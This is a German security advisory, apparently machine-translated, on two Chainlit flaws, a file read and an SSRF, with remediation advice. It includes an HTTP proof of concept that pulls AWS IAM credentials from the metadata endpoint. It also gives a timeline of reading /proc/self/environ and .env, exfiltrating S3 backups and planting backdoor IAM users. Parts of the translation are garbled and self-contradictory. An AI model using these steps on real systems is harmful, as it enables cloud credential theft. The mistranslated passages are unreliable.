I. Grundsätze der Anfälligkeit
1.1 Überblick über den Chainlit-Rahmen
Chainlit ist ein beliebter Open-Source-Code für die Erstellung von Chatbots für UnterhaltungenAI-Rahmenhat sich zu einem wichtigen Werkzeug für die Erstellung von LLM-Anwendungen entwickelt. Nach den Statistiken der Python Software Foundation:
- Wöchentliche Downloads:: Mehr als 220.000 Mal
- Kumulierte Downloads:: Mehr als 7,3 Millionen
- Hauptanwendung:: Schnelle Entwicklung von generativen KI-Anwendungen, LLM-Chat-Schnittstelle, Entwicklung von Agentensystemen
- Wesentliche MerkmaleWeb UI, Nachrichtenverwaltung, Sitzungssteuerung, Hochladen von Dateien usw. bereitstellen
Die Kernarchitektur des Chainlit-Rahmens umfasst:
- Front-End-Webschnittstelle (basierend auf React)
- Backend-Flask/FastAPI-Dienste
- SQLAlchemy ORM-Datenschicht
- Modul zur Bearbeitung und zum Hochladen von Dateien
- Projektmanagement und Sitzungsmanagementsystem
Aufgrund der hohen Benutzerfreundlichkeit und der weiten Verbreitung haben Sicherheitslücken im Chainlit-Framework große Auswirkungen.
1.2 ChainLeak-SchwachstelleKombinatorisch
Das Forschungsteam von Zafran Security entdeckte und veröffentlichte im Jahr 2025 zwei hochriskante Sicherheitslücken, die unter dem Namen ChainLeak” bekannt sind:
| Schwachstelle Nummer | CVSS-Punktzahl | Schwachstelle Typ | Schweregrad |
|---|---|---|---|
| CVE-2026-22218 | 7.1 | Beliebiges Lesen von Dateien | hohes Risiko |
| CVE-2026-22219 | 8.3 | SSRF (Server Side Request Forgery) | extrem hohes Risiko |
Das Hauptmerkmal dieser beiden Schwachstellen ist:
- Umgehung der Authentifizierung:: Erfordert authentifizierte Angreifer, kann aber durch Sozialarbeiter oder schwache Passwörter erlangt werden
- Combo-Angriff:: Zwei Schwachstellen können in Verbindung miteinander verwendet werden, um eine Kette von Ereignissen auszulösen.
- DatendiebstahlKann zur Preisgabe von API-Schlüsseln, Berechtigungsnachweisen und Quellcode führen.
- Anhebung der Privilegien:: Durchbruch von der Anwendungsschicht zur Infrastrukturschicht
- traversieren:: Anhaltende Netzinfiltration innerhalb der Opferorganisation
1.3 Betroffene Einsatzszenarien
Das Chainlit-Framework wird üblicherweise in den folgenden Einsatzumgebungen verwendet:
Die Risiken sind insbesondere in den folgenden Szenarien am höchsten:
- Cloud-BereitstellungAWS EC2/ECS, Azure App Service, Google Cloud Run
- sensible DatenIntegration von OpenAI API Key, Datenbank-Zugangsdaten, internem Service-Schlüssel
- SQLAlchemy BackendEinsatz mit SQLite als Datenbank: Einsatz mit SQLite als Datenbank
- schwache Zugangskontrolle:: Versäumnis, strenge Authentifizierungsmechanismen einzurichten
II. detaillierte Analyse der Schwachstellen
2.1 CVE-2026-22218: Sicherheitslücke beim Lesen beliebiger Dateien
Grundsätze der Anfälligkeit
betroffener Endpunkt: /Projekt/Element Aktualisierungsprozess
Grundursache:: Fehlende Eingabevalidierung für Benutzerkontrollfelder
Auslösebedingung:: Authentifizierte Angreifer
Angriffsverfahren.
Zu diesem Zweck lasen die Forscher die /proc/self/environment Erfolgreich extrahiert:
- OpenAI API-Schlüssel
- Datenbank-Verbindungsstring
- AWS-Zugangsdaten
- Schlüssel von Drittanbietern
- Interne API-Endpunktadresse
2.2 CVE-2026-22219. SSRF-Schwachstelle
Grundsätze der Anfälligkeit
betroffener Endpunkt: /Projekt/Element Aktualisierungsprozess (SQLAlchemy Backend)
Grundursache: Benutzereingabe-URL ist nicht authentifiziert
AuslösebedingungAuthentifizierter Angreifer + SQLAlchemy-Backend-Konfiguration
CVSS-Punktzahl8,3 (sehr hohes Risiko)
SSRF-Angriffsverfahren.
In einer Testumgebung kann ein Angreifer versuchen, sich Zugang zu verschaffen:
| Ziele | Adresse | verwenden. | Exponate |
|---|---|---|---|
| AWS-Metadaten | http://169.254.169.254/latest/meta-data | Die IAM-Rolle erhalten | extrem hoch |
| AWS-Sicherheitsanmeldeinformationen | http://169.254.169.254/…/security-credentials/ | vorläufiger Schlüssel | extrem hoch |
| Google GCP | http://metadata.google.internal/... | GCP-Dienstkonto | extrem hoch |
| Interne Datenbank | http://db.internal:5432 | Scannen von Datenbanken | Ihr (Ehrentitel) |
| Redis-Cache | http://redis.internal:6379 | Cache-Vergiftung | Ihr (Ehrentitel) |
| interne API | http://api.internal:8080/admin | Anhebung der Privilegien | Ihr (Ehrentitel) |
Die Schwachstelle ist besonders schädlich, wenn Chainlit auf einer Cloud-Server-Instanz (z. B. AWS) ausgeführt wird:
# Schritt 1: Abrufen des IAM-Rollennamens
GET /proc/self/environ → Umgebungsvariablen aus Chainlit lesen
→ EC2-Instanzinformationen ermitteln
# Schritt 2: Zugriff auf Metadaten über SSRF
POST /project/element → {url: “http://169.254.169.254/latest/meta-data/iam/security-credentials/”}
→ Chainlit-Server sendet eine Anfrage im Namen des Angreifers
# Schritt 3: Beziehen Sie temporäre AWS-Zugangsdaten
Antwort.
{
“AccessKeyId”: “ASIAXXX...”,
“SecretAccessKey”: “...”,
“SessionToken”: “...”,
“Ablauf”: “...”
}
# Schritt 4: Zugriff auf AWS-Ressourcen mit Anmeldeinformationen
aws s3 ls -access-key ASIAXXX... -secret-key ...
aws rds describe-db-instances
aws ec2 describe-instances
Auswirkungen der Schwachstelle:
- Inhalt des S3-Speicherkübels durchgesickert
- RDS-Datenbank gesteuert
- Übernahme kritischer Geschäftssysteme
- Vollständige AWS-Konto-Fallout
2.3 Angriffe zur Verkettung von Schwachstellen
Die kombinierte Nutzung der beiden Möglichkeiten schafft eine noch stärkere und zerstörerische Kraft:
Prozess der Verkettung von Angriffen auf Schwachstellen.
“Diese beiden Schwachstellen in Chainlit können auf verschiedene Weise ausgenutzt werden, um sensible Daten zu kompromittieren, die Rechte zu erhöhen und sich seitlich im System zu bewegen. Sobald ein Angreifer Lesezugriff auf beliebige Dateien auf dem Server erlangt, kann derKünstliche Intelligenz (KI)Die Sicherheit der Anwendung bricht dann schnell zusammen.”
III. pOC der Schwachstelle und Angriffsdemonstration
3.1 CVE-2026-22218 POC aus einer beliebigen Datei lesen
略
3.2 CVE-2026-22219 SSRF Sicherheitslücke POC
HTTP-Anfrage-Demo
# Schritt 1: Anmeldung bei der Chainlit-Anwendung
# Schritt 2: Beziehen von AWS-Sicherheitsanmeldeinformationen
POST /api/projekt/element HTTP/1.1
Host: verwundbar-chainlit.app.com
Autorisierung: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Inhalt-Typ: application/json
{
“url”: “http://169.254.169.254/latest/meta-data/iam/security-credentials/my-instance-profile- Rolle”,
“Methode”: “GET”
}
# Antwort: 200 OK
{
“Status”: 200.,
“content”:“{\”Code\”:\”Success\”,\ ”LastUpdated\”:\”2025-12-10T12:00:00Z\”,\”Type\”:\ ”AWS-HMAC\”,\”AccessKeyId\”:\”ASIAXXXXXXXXXXXXX\”,\ ”SecretAccessKey\”:\”pLWXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\”,\”Token\”:\ ”AQoDYXdzEPT//wXXXXXXXXXXXX...\”,\”Expiration\”:\”2025-12- 10T18:00:00Z\”}”,
“gespeichert”: wahr,
“session_id”: “sess_def456”
}
3.3 Demonstration tatsächlicher Angriffsszenarien
Nehmen Sie:: Angriff auf eine auf AWS bereitgestellte Chainlit-Anwendung
Zeitleiste.
Minute T+0: Angreifer verschaffen sich Zugang zu schwachen Passwortkonten (admin/admin123)
└─ Sozialarbeiter durch Phishing-E-Mails
T+2 min: Lesen von /proc/self/environ mit CVE-2026-22218
└─ Hole: AWS_ACCESS_KEY_ID, DATABASE_URL, OPENAI_API_KEY
T+4 Minuten: Lesen von .env-Dateien
└─ Hole: Datenbankpasswort, andere API-Schlüssel
T+6 min: Zugriff auf AWS-Metadaten über SSRF mit CVE-2026-22219
└─ Ziel: http://169.254.169.254/latest/meta-data/iam/security-credentials/
T+8 Minuten: Abrufen der temporären AWS-Sicherheitsanmeldeinformationen
└─ AccessKeyId, SecretAccessKey, SessionToken, Expiration
T+10 min: Konfigurieren der AWS CLI zur Verwendung erworbener Anmeldeinformationen
└─ aws configure -access-key XXXX -secret-key YYYY
T+12 Minuten: Auflistung aller S3-Speicher-Buckets in der Organisation
└─ aws s3 ls
T+15 min: Herunterladen sensibler Daten (Quellcode, Konfiguration, Benutzerdaten) aus S3
└─ aws s3 cp s3://prod-backups/ . /backups/ -recursive
T+20 Minuten: Zugang zur RDS-Datenbank
└─ Export von Benutzertabellen, Bestellformularen, sensiblen Kundendaten
T+25 Minuten: Auffinden von und Zugriff auf andere AWS-Ressourcen
└─ Lambda-Funktionen, DynamoDB, Schlüsselverwaltung, CloudFormation
T+30 Minuten: Erstellen von Backdoor-Konten und Persistenzmechanismen
└─ Neuen IAM-Benutzer erstellen, Schlüssel hinzufügen, Sicherheitsgruppe ändern
T+45 Min.: Totalausfall
└─ Angreifer können langfristig die Kontrolle über die AWS-Umgebung eines Opfers übernehmen
IV. Empfohlene Schutzprogramme
Notfallreparatur
- Upgrade auf Version 2.9.4 und höher
pip install -upgrade chainlit>=2.9.4
- Versionskontrolle
python -c “import chainlit; print(chainlit.__version__)”
# erforderlich >= 2.9.4
V. Referenzzitate
Quelle (von Informationen usw.)
[1] nvd - cve-2026-22218
https://nvd.nist.gov/vuln/detail/CVE-2026-22218
[2] nvd - cve-2026-22219
https://nvd.nist.gov/vuln/detail/CVE-2026-22219
[3] Zafran Security - Entdeckung der ChainLeak-Schwachstelle
https://www.zafransecurity.com/chainlit-vulnerabilities
[4] Offizielle Chainlit-Dokumentation
https://docs.chainlit.io/get-started/overview
Originalartikel von Chief Security Officer, bei Vervielfältigung bitte angeben: https://www.cncso.com/de/chainlit-ai-framework-data-leakage.html





